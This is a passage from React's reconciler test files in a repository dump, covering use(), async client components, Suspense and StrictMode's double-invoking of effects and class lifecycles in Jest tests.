await act(async () => {\n      root.render(<App contextValue={<Child text=\"B\" />} />);\n    });\n    assertLog([\n      // Notice that the <Indirection /> did not rerender, because the\n      // update was sent via Context.\n\n      // TODO: We shouldn't have to re-render the parent of the context node.\n      // This happens because we need to reconcile the parent's children again.\n      // However, we should be able to skip directly to reconcilation without\n      // evaluating the component. One way to do this might be to mark the\n      // context dependency with a flag that says it was added\n      // during reconcilation.\n      'ParentOfContextNode',\n\n      // Notice that this was an update, not a remount.\n      'B',\n    ]);\n    expect(root).toMatchRenderedOutput('B');\n\n    // Delete the old child and replace it with a new one, by changing the key\n    await act(async () => {\n      root.render(<App contextValue={<Child key=\"C\" text=\"C\" />} />);\n    });\n    assertLog([\n      'ParentOfContextNode',\n\n      // A new instance is mounted\n      'C',\n      'Unmount',\n      'Mount',\n    ]);\n  });\n\n  it('context as node, at the root', async () => {\n    const Context = React.createContext(<Text text=\"Hi\" />);\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(() => {\n        root.render(Context);\n      });\n    });\n    assertLog(['Hi']);\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  it('promises that resolves to a context, rendered as a node', async () => {\n    const Context = React.createContext(<Text text=\"Hi\" />);\n    const promise = Promise.resolve(Context);\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(() => {\n        root.render(promise);\n      });\n    });\n    assertLog(['Hi']);\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  it('unwrap uncached promises inside forwardRef', async () => {\n    const asyncInstance = {};\n    const Async = React.forwardRef((props, ref) => {\n      React.useImperativeHandle(ref, () => asyncInstance);\n      const text = use(Promise.resolve('Async'));\n      return <Text text={text} />;\n    });\n\n    const ref = React.createRef();\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Async ref={ref} />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertLog(['Async']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('Async');\n    expect(ref.current).toBe(asyncInstance);\n  });\n\n  it('unwrap uncached promises inside memo', async () => {\n    const Async = React.memo(\n      props => {\n        const text = use(Promise.resolve(props.text));\n        return <Text text={text} />;\n      },\n      (a, b) => a.text === b.text,\n    );\n\n    function App({text}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Async text={text} />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App text=\"Async\" />);\n      });\n    });\n    assertLog(['Async']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('Async');\n\n    // Update to the same value\n    await act(() => {\n      startTransition(() => {\n        root.render(<App text=\"Async\" />);\n      });\n    });\n    // Should not have re-rendered, because it's memoized\n    assertLog([]);\n    expect(root).toMatchRenderedOutput('Async');\n\n    // Update to a different value\n    await act(() => {\n      startTransition(() => {\n        root.render(<App text=\"Async!\" />);\n      });\n    });\n    assertLog(['Async!']);\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput('Async!');\n  });\n\n  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents\n  it('unwrap uncached promises in component that accesses legacy context', async () => {\n    class ContextProvider extends React.Component {\n      static childContextTypes = {\n        legacyContext() {},\n      };\n      getChildContext() {\n        return {legacyContext: 'Async'};\n      }\n      render() {\n        return this.props.children;\n      }\n    }\n\n    function Async({label}, context) {\n      const text = use(Promise.resolve(context.legacyContext + ` (${label})`));\n      return <Text text={text} />;\n    }\n    Async.contextTypes = {\n      legacyContext: () => {},\n    };\n\n    const AsyncMemo = React.memo(Async, (a, b) => a.label === b.label);\n\n    function App() {\n      return (\n        <ContextProvider>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <div>\n              <Async label=\"function component\" />\n            </div>\n            <div>\n              <AsyncMemo label=\"memo component\" />\n            </div>\n          </Suspense>\n        </ContextProvider>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertLog(['Async (function component)', 'Async (memo component)']);\n    assertConsoleErrorDev([\n      'ContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in App (at **)',\n      'Async uses the legacy contextTypes API which will be removed soon. ' +\n        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in App (at **)',\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Async (function component)</div>\n        <div>Async (memo component)</div>\n      </>,\n    );\n  });\n\n  it('regression test: updates while component is suspended should not be mistaken for render phase updates', async () => {\n    const promiseA = getAsyncText('A');\n    const promiseB = getAsyncText('B');\n    const promiseC = getAsyncText('C');\n    assertLog([\n      'Async text requested [A]',\n      'Async text requested [B]',\n      'Async text requested [C]',\n    ]);\n\n    let setState;\n    function App() {\n      const [state, _setState] = useState(promiseA);\n      setState = _setState;\n      return <Text text={use(state)} />;\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App />));\n    expect(root).toMatchRenderedOutput(null);\n    await act(() => resolveTextRequests('A'));\n    assertLog(['A']);\n    expect(root).toMatchRenderedOutput('A');\n\n    // Update to B. This will suspend.\n    await act(() => startTransition(() => setState(promiseB)));\n    expect(root).toMatchRenderedOutput('A');\n\n    // While B is suspended, update to C. This should immediately interrupt\n    // the render for B. In the regression, this update was mistakenly treated\n    // as a render phase update.\n    ReactNoop.flushSync(() => setState(promiseC));\n\n    // Finish rendering.\n    await act(() => resolveTextRequests('C'));\n    assertLog(['C']);\n    expect(root).toMatchRenderedOutput('C');\n  });\n\n  it('an async component outside of a Suspense boundary crashes with an error (resolves in microtask)', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    async function AsyncClientComponent() {\n      return <Text text=\"Hi\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <AsyncClientComponent />\n        </ErrorBoundary>,\n      );\n    });\n    assertConsoleErrorDev([\n      '<AsyncClientComponent> is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        \"This error is often caused by accidentally adding `'use client'` \" +\n        'to a module that was originally written for the server.\\n' +\n        '    in AsyncClientComponent (at **)',\n    ]);\n    assertLog([\n      'An unknown Component is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        'This error is often caused by accidentally adding ' +\n        \"`'use client'` to a module that was originally written for \" +\n        'the server.',\n      'An unknown Component is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        'This error is often caused by accidentally adding ' +\n        \"`'use client'` to a module that was originally written for \" +\n        'the server.',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      'An unknown Component is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        'This error is often caused by accidentally adding ' +\n        \"`'use client'` to a module that was originally written for \" +\n        'the server.',\n    );\n  });\n\n  it('an async component outside of a Suspense boundary crashes with an error (resolves in macrotask)', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    async function AsyncClientComponent() {\n      await waitForMicrotasks();\n      return <Text text=\"Hi\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <AsyncClientComponent />\n        </ErrorBoundary>,\n      );\n    });\n    assertConsoleErrorDev([\n      '<AsyncClientComponent> is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        \"This error is often caused by accidentally adding `'use client'` \" +\n        'to a module that was originally written for the server.\\n' +\n        '    in AsyncClientComponent (at **)',\n    ]);\n    assertLog([\n      'An unknown Component is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        'This error is often caused by accidentally adding ' +\n        \"`'use client'` to a module that was originally written for \" +\n        'the server.',\n      'An unknown Component is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        'This error is often caused by accidentally adding ' +\n        \"`'use client'` to a module that was originally written for \" +\n        'the server.',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      'An unknown Component is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        'This error is often caused by accidentally adding ' +\n        \"`'use client'` to a module that was originally written for \" +\n        'the server.',\n    );\n  });\n\n  it(\n    'warn if async client component calls a hook (e.g. useState) ' +\n      'during a non-sync update',\n    async () => {\n      async function AsyncClientComponent() {\n        useState();\n        return <Text text=\"Hi\" />;\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        startTransition(() => {\n          root.render(<AsyncClientComponent />);\n        });\n      });\n      assertConsoleErrorDev([\n        // Note: This used to log a different warning about not using hooks\n        // inside async components, like we do on the server. Since then, we\n        // decided to warn for _any_ async client component regardless of\n        // whether the update is sync. But if we ever add back support for async\n        // client components, we should add back the hook warning.\n        '<AsyncClientComponent> is an async Client Component. ' +\n          'Only Server Components can be async at the moment. ' +\n          \"This error is often caused by accidentally adding `'use client'` \" +\n          'to a module that was originally written for the server.\\n' +\n          '    in AsyncClientComponent (at **)',\n        'A component was suspended by an uncached promise. ' +\n          'Creating promises inside a Client Component or hook is not yet supported, ' +\n          'except via a Suspense-compatible library or framework.\\n' +\n          '    in AsyncClientComponent (at **)',\n      ]);\n    },\n  );\n\n  it('warn if async client component calls a hook (e.g. use)', async () => {\n    const promise = Promise.resolve();\n\n    async function AsyncClientComponent() {\n      use(promise);\n      return <Text text=\"Hi\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<AsyncClientComponent />);\n      });\n    });\n    assertConsoleErrorDev([\n      // Note: This used to log a different warning about not using hooks\n      // inside async components, like we do on the server. Since then, we\n      // decided to warn for _any_ async client component regardless of\n      // whether the update is sync. But if we ever add back support for async\n      // client components, we should add back the hook warning.\n      '<AsyncClientComponent> is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        \"This error is often caused by accidentally adding `'use client'` \" +\n        'to a module that was originally written for the server.\\n' +\n        '    in AsyncClientComponent (at **)',\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in AsyncClientComponent (at **)',\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in AsyncClientComponent (at **)',\n    ]);\n  });\n\n  // @gate enableAsyncIterableChildren\n  it('async generator component', async () => {\n    let hi, world;\n    async function* App() {\n      // Only cached promises can be awaited in async generators because\n      // when we rerender, it'll issue another request which blocks the next.\n      await (hi || (hi = getAsyncText('Hi')));\n      yield <Text key=\"1\" text=\"Hi\" />;\n      yield ' ';\n      await (world || (world = getAsyncText('World')));\n      yield <Text key=\"2\" text=\"World\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertConsoleErrorDev([\n      '<App> is an async Client Component. ' +\n        'Only Server Components can be async at the moment. ' +\n        \"This error is often caused by accidentally adding `'use client'` \" +\n        'to a module that was originally written for the server.\\n' +\n        '    in App (at **)',\n    ]);\n    assertLog(['Async text requested [Hi]']);\n\n    await act(() => resolveTextRequests('Hi'));\n    assertConsoleErrorDev([\n      // We get this warning because the generator's promise themselves are not cached.\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n\n    assertLog(['Async text requested [World]']);\n\n    await act(() => resolveTextRequests('World'));\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in App (at **)',\n    ]);\n\n    assertLog(['Hi', 'World']);\n    expect(root).toMatchRenderedOutput('Hi World');\n  });\n\n  // @gate enableAsyncIterableChildren\n  it('async iterable children', async () => {\n    let hi, world;\n    const iterable = {\n      async *[Symbol.asyncIterator]() {\n        // Only cached promises can be awaited in async iterables because\n        // when we retry, it'll ask for another iterator which issues another\n        // request which blocks the next.\n        await (hi || (hi = getAsyncText('Hi')));\n        yield <Text key=\"1\" text=\"Hi\" />;\n        yield ' ';\n        await (world || (world = getAsyncText('World')));\n        yield <Text key=\"2\" text=\"World\" />;\n      },\n    };\n\n    function App({children}) {\n      return <div>{children}</div>;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App>{iterable}</App>);\n      });\n    });\n    assertLog(['Async text requested [Hi]']);\n\n    await act(() => resolveTextRequests('Hi'));\n    assertConsoleErrorDev([\n      // We get this warning because the generator's promise themselves are not cached.\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in div (at **)\\n' +\n        '    in App (at **)',\n    ]);\n\n    assertLog(['Async text requested [World]']);\n\n    await act(() => resolveTextRequests('World'));\n    assertConsoleErrorDev([\n      'A component was suspended by an uncached promise. ' +\n        'Creating promises inside a Client Component or hook is not yet supported, ' +\n        'except via a Suspense-compatible library or framework.\\n' +\n        '    in div (at **)\\n' +\n        '    in App (at **)',\n    ]);\n\n    assertLog(['Hi', 'World']);\n    expect(root).toMatchRenderedOutput(<div>Hi World</div>);\n  });\n\n  it(\n    'regression: does not get stuck in pending state after `use` suspends ' +\n      '(when `use` comes before all hooks)',\n    async () => {\n      // This is a regression test. The root cause was an issue where we failed to\n      // switch from the \"re-render\" dispatcher back to the \"update\" dispatcher\n      // after a `use` suspends and triggers a replay.\n      let update;\n      function App({promise}) {\n        const value = use(promise);\n\n        const [isPending, startLocalTransition] = useTransition();\n        update = () => {\n          startLocalTransition(() => {\n            root.render(<App promise={getAsyncText('Updated')} />);\n          });\n        };\n\n        return <Text text={value + (isPending ? ' (pending...)' : '')} />;\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App promise={Promise.resolve('Initial')} />);\n      });\n      assertLog(['Initial']);\n      expect(root).toMatchRenderedOutput('Initial');\n\n      await act(() => update());\n      assertLog(['Async text requested [Updated]', 'Initial (pending...)']);\n\n      await act(() => resolveTextRequests('Updated'));\n      assertLog(['Updated']);\n      expect(root).toMatchRenderedOutput('Updated');\n    },\n  );\n\n  it(\n    'regression: does not get stuck in pending state after `use` suspends ' +\n      '(when `use` in in the middle of hook list)',\n    async () => {\n      // Same as previous test but `use` comes in between two hooks.\n      let update;\n      function App({promise}) {\n        // This hook is only here to test that `use` resumes correctly after\n        // suspended even if it comes in between other hooks.\n        useState(false);\n\n        const value = use(promise);\n\n        const [isPending, startLocalTransition] = useTransition();\n        update = () => {\n          startLocalTransition(() => {\n            root.render(<App promise={getAsyncText('Updated')} />);\n          });\n        };\n\n        return <Text text={value + (isPending ? ' (pending...)' : '')} />;\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App promise={Promise.resolve('Initial')} />);\n      });\n      assertLog(['Initial']);\n      expect(root).toMatchRenderedOutput('Initial');\n\n      await act(() => update());\n      assertLog(['Async text requested [Updated]', 'Initial (pending...)']);\n\n      await act(() => resolveTextRequests('Updated'));\n      assertLog(['Updated']);\n      expect(root).toMatchRenderedOutput('Updated');\n    },\n  );\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/StrictEffectsMode-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet act;\n\ndescribe('StrictEffectsMode', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    act = require('internal-test-utils').act;\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n  });\n\n  // @gate !disableLegacyMode\n  it('should not double invoke effects in legacy mode', async () => {\n    const log = [];\n    function App({text}) {\n      React.useEffect(() => {\n        log.push('useEffect mount');\n        return () => log.push('useEffect unmount');\n      });\n\n      React.useLayoutEffect(() => {\n        log.push('useLayoutEffect mount');\n        return () => log.push('useLayoutEffect unmount');\n      });\n\n      return text;\n    }\n\n    const root = ReactNoop.createLegacyRoot();\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual(['useLayoutEffect mount', 'useEffect mount']);\n  });\n\n  it('double invoking for effects works properly', async () => {\n    const log = [];\n    function App({text}) {\n      React.useEffect(() => {\n        log.push('useEffect mount');\n        return () => log.push('useEffect unmount');\n      });\n\n      React.useLayoutEffect(() => {\n        log.push('useLayoutEffect mount');\n        return () => log.push('useLayoutEffect unmount');\n      });\n\n      return text;\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'useLayoutEffect unmount',\n        'useEffect unmount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n      ]);\n    } else {\n      expect(log).toEqual(['useLayoutEffect mount', 'useEffect mount']);\n    }\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'update'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    expect(log).toEqual([\n      'useLayoutEffect unmount',\n      'useLayoutEffect mount',\n      'useEffect unmount',\n      'useEffect mount',\n    ]);\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.unmountRootWithID('root');\n    });\n\n    expect(log).toEqual(['useLayoutEffect unmount', 'useEffect unmount']);\n  });\n\n  it('multiple effects are double invoked in the right order (all mounted, all unmounted, all remounted)', async () => {\n    const log = [];\n    function App({text}) {\n      React.useEffect(() => {\n        log.push('useEffect One mount');\n        return () => log.push('useEffect One unmount');\n      });\n\n      React.useEffect(() => {\n        log.push('useEffect Two mount');\n        return () => log.push('useEffect Two unmount');\n      });\n\n      return text;\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'useEffect One mount',\n        'useEffect Two mount',\n        'useEffect One unmount',\n        'useEffect Two unmount',\n        'useEffect One mount',\n        'useEffect Two mount',\n      ]);\n    } else {\n      expect(log).toEqual(['useEffect One mount', 'useEffect Two mount']);\n    }\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'update'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    expect(log).toEqual([\n      'useEffect One unmount',\n      'useEffect Two unmount',\n      'useEffect One mount',\n      'useEffect Two mount',\n    ]);\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.unmountRootWithID('root');\n    });\n\n    expect(log).toEqual(['useEffect One unmount', 'useEffect Two unmount']);\n  });\n\n  it('multiple layout effects are double invoked in the right order (all mounted, all unmounted, all remounted)', async () => {\n    const log = [];\n    function App({text}) {\n      React.useLayoutEffect(() => {\n        log.push('useLayoutEffect One mount');\n        return () => log.push('useLayoutEffect One unmount');\n      });\n\n      React.useLayoutEffect(() => {\n        log.push('useLayoutEffect Two mount');\n        return () => log.push('useLayoutEffect Two unmount');\n      });\n\n      return text;\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'useLayoutEffect One mount',\n        'useLayoutEffect Two mount',\n        'useLayoutEffect One unmount',\n        'useLayoutEffect Two unmount',\n        'useLayoutEffect One mount',\n        'useLayoutEffect Two mount',\n      ]);\n    } else {\n      expect(log).toEqual([\n        'useLayoutEffect One mount',\n        'useLayoutEffect Two mount',\n      ]);\n    }\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'update'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    expect(log).toEqual([\n      'useLayoutEffect One unmount',\n      'useLayoutEffect Two unmount',\n      'useLayoutEffect One mount',\n      'useLayoutEffect Two mount',\n    ]);\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.unmountRootWithID('root');\n    });\n\n    expect(log).toEqual([\n      'useLayoutEffect One unmount',\n      'useLayoutEffect Two unmount',\n    ]);\n  });\n\n  it('useEffect and useLayoutEffect is called twice when there is no unmount', async () => {\n    const log = [];\n    function App({text}) {\n      React.useEffect(() => {\n        log.push('useEffect mount');\n      });\n\n      React.useLayoutEffect(() => {\n        log.push('useLayoutEffect mount');\n      });\n\n      return text;\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n      );\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n      ]);\n    } else {\n      expect(log).toEqual(['useLayoutEffect mount', 'useEffect mount']);\n    }\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'update'} />\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual(['useLayoutEffect mount', 'useEffect mount']);\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.unmountRootWithID('root');\n    });\n\n    expect(log).toEqual([]);\n  });\n\n  it('passes the right context to class component lifecycles', async () => {\n    const log = [];\n    class App extends React.PureComponent {\n      test() {}\n\n      componentDidMount() {\n        this.test();\n        log.push('componentDidMount');\n      }\n\n      componentDidUpdate() {\n        this.test();\n        log.push('componentDidUpdate');\n      }\n\n      componentWillUnmount() {\n        this.test();\n        log.push('componentWillUnmount');\n      }\n\n      render() {\n        return null;\n      }\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      );\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'componentDidMount',\n        'componentWillUnmount',\n        'componentDidMount',\n      ]);\n    } else {\n      expect(log).toEqual(['componentDidMount']);\n    }\n  });\n\n  it('double invoking works for class components', async () => {\n    const log = [];\n    class App extends React.PureComponent {\n      componentDidMount() {\n        log.push('componentDidMount');\n      }\n\n      componentDidUpdate() {\n        log.push('componentDidUpdate');\n      }\n\n      componentWillUnmount() {\n        log.push('componentWillUnmount');\n      }\n\n      render() {\n        return this.props.text;\n      }\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'componentDidMount',\n        'componentWillUnmount',\n        'componentDidMount',\n      ]);\n    } else {\n      expect(log).toEqual(['componentDidMount']);\n    }\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'update'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    expect(log).toEqual(['componentDidUpdate']);\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.unmountRootWithID('root');\n    });\n\n    expect(log).toEqual(['componentWillUnmount']);\n  });\n\n  it('invokes componentWillUnmount for class components without componentDidMount', async () => {\n    const log = [];\n    class App extends React.PureComponent {\n      componentDidUpdate() {\n        log.push('componentDidUpdate');\n      }\n\n      componentWillUnmount() {\n        log.push('componentWillUnmount');\n      }\n\n      render() {\n        return this.props.text;\n      }\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual(['componentWillUnmount']);\n    } else {\n      expect(log).toEqual([]);\n    }\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'update'} />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    expect(log).toEqual(['componentDidUpdate']);\n\n    log.length = 0;\n    await act(() => {\n      ReactNoop.unmountRootWithID('root');\n    });\n\n    expect(log).toEqual(['componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('should not double invoke class lifecycles in legacy mode', async () => {\n    const log = [];\n    class App extends React.PureComponent {\n      componentDidMount() {\n        log.push('componentDidMount');\n      }\n\n      componentDidUpdate() {\n        log.push('componentDidUpdate');\n      }\n\n      componentWillUnmount() {\n        log.push('componentWillUnmount');\n      }\n\n      render() {\n        return this.props.text;\n      }\n    }\n\n    const root = ReactNoop.createLegacyRoot();\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n      );\n    });\n\n    expect(log).toEqual(['componentDidMount']);\n  });\n\n  it('double flushing passive effects only results in one double invoke', async () => {\n    const log = [];\n    function App({text}) {\n      const [state, setState] = React.useState(0);\n      React.useEffect(() => {\n        if (state !== 1) {\n          setState(1);\n        }\n        log.push('useEffect mount');\n        return () => log.push('useEffect unmount');\n      });\n\n      React.useLayoutEffect(() => {\n        log.push('useLayoutEffect mount');\n        return () => log.push('useLayoutEffect unmount');\n      });\n\n      log.push(text);\n      return text;\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App text={'mount'} />\n        </React.StrictMode>,\n      );\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'mount',\n        'mount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'useLayoutEffect unmount',\n        'useEffect unmount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'mount',\n        'mount',\n        'useLayoutEffect unmount',\n        'useLayoutEffect mount',\n        'useEffect unmount',\n        'useEffect mount',\n      ]);\n    } else {\n      expect(log).toEqual([\n        'mount',\n        'useLayoutEffect mount',\n        'useEffect mount',\n        'mount',\n        'useLayoutEffect unmount',\n        'useLayoutEffect mount',\n        'useEffect unmount',\n        'useEffect mount',\n      ]);\n    }\n  });\n\n  it('newly mounted components after initial mount get double invoked', async () => {\n    const log = [];\n    let _setShowChild;\n    function Child() {\n      React.useEffect(() => {\n        log.push('Child useEffect mount');\n        return () => log.push('Child useEffect unmount');\n      });\n      React.useLayoutEffect(() => {\n        log.push('Child useLayoutEffect mount');\n        return () => log.push('Child useLayoutEffect unmount');\n      });\n\n      return null;\n    }\n\n    function App() {\n      const [showChild, setShowChild] = React.useState(false);\n      _setShowChild = setShowChild;\n      React.useEffect(() => {\n        log.push('App useEffect mount');\n        return () => log.push('App useEffect unmount');\n      });\n      React.useLayoutEffect(() => {\n        log.push('App useLayoutEffect mount');\n        return () => log.push('App useLayoutEffect unmount');\n      });\n\n      return showChild && <Child />;\n    }\n\n    await act(() => {\n      ReactNoop.renderToRootWithID(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n        'root',\n      );\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'App useLayoutEffect mount',\n        'App useEffect mount',\n        'App useLayoutEffect unmount',\n        'App useEffect unmount',\n        'App useLayoutEffect mount',\n        'App useEffect mount',\n      ]);\n    } else {\n      expect(log).toEqual(['App useLayoutEffect mount', 'App useEffect mount']);\n    }\n\n    log.length = 0;\n    await act(() => {\n      _setShowChild(true);\n    });\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'App useLayoutEffect unmount',\n        'Child useLayoutEffect mount',\n        'App useLayoutEffect mount',\n        'App useEffect unmount',\n        'Child useEffect mount',\n        'App useEffect mount',\n        'Child useLayoutEffect unmount',\n        'Child useEffect unmount',\n        'Child useLayoutEffect mount',\n        'Child useEffect mount',\n      ]);\n    } else {\n      expect(log).toEqual([\n        'App useLayoutEffect unmount',\n        'Child useLayoutEffect mount',\n        'App useLayoutEffect mount',\n        'App useEffect unmount',\n        'Child useEffect mount',\n        'App useEffect mount',\n      ]);\n    }\n  });\n\n  it('classes and functions are double invoked together correctly', async () => {\n    